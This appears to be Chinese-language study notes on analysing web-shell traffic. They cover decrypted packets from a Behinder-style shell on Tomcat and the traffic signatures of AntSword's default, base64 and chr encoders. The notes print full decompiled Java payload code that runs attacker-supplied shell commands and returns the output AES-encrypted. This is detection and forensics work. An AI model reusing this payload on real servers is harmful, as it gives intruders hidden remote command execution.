/usr/local/tomcat<br/>jdk.tls.ephemeralDHKeySize = 2048<br/>file.separator = /<br/>java.vendor.url.bug = http://bugreport.sun.com/bugreport/<br/>common.loader = "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar"<br/>sun.io.unicode.encoding = UnicodeLittle<br/>sun.cpu.endian = little<br/>package.access = sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat.<br/>sun.cpu.isalist = <br/>
当执行命令时发送的数据包解密
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.ead.zckc; import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Method; import java.nio.charset.Charset; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class Rdqebtxdty { public static String cmd; public static String path; private static String status = "success"; private Object Request; private Object Response; private Object Session; public Rdqebtxdty() { } public boolean equals(Object obj) { HashMap result = new HashMap(); boolean var13 = false; Object so; Method write; label77: { try { var13 = true; this.fillContext(obj); result.put("msg", this.RunCMD(cmd)); result.put("status", status); var13 = false; break label77; } catch (Exception var17) { result.put("msg", var17.getMessage()); result.put("status", "fail"); var13 = false; } finally { if (var13) { try { Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var14) { } } } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var15) { } return true; } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var16) { } return true; } private String RunCMD(String cmd) throws Exception { Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd != null && cmd.length() > 0) { Process p; if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312")); String disr; for(disr = br.readLine(); disr != null; disr = br.readLine()) { result = result + disr + "\n"; } br = new BufferedReader(new InputStreamReader(p.getErrorStream(), "GB2312")); for(disr = br.readLine(); disr != null; disr = br.readLine()) { status = "error"; result = result + disr + "\n"; } result = new String(result.getBytes(osCharset)); } return result; } private byte[] Encrypt(byte[] bs) throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); byte[] raw = key.getBytes("utf-8"); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, skeySpec); byte[] encrypted = cipher.doFinal(bs); return encrypted; } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator(); while(var5.hasNext()) { String key = (String)var5.next(); sb.append("\"" + key + "\":\""); String value = ((String)entity.get(key)).toString(); if (encode) { Class Base64; Object Encoder; if (version.compareTo("1.9") >= 0) { this.getClass(); Base64 = Class.forName("java.util.Base64"); Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Encoder = Base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); value = value.replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map<String, Object> objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } }
解密返回包
返回内容为命令执行结果
蚁剑
默认编码器
正文内容进行URL 解码后,流量最中明显的特征为@ini_set ("display_errors","0")
第一次连接的数据包 含有连接密码 数据为url编码的 很好辨认
执行命令后的返回包也是明文的
base64编码器
数据只是被base64加密了
追踪http流 7个特殊字符+base64+9个特殊字符 为执行命令结果
chr编码器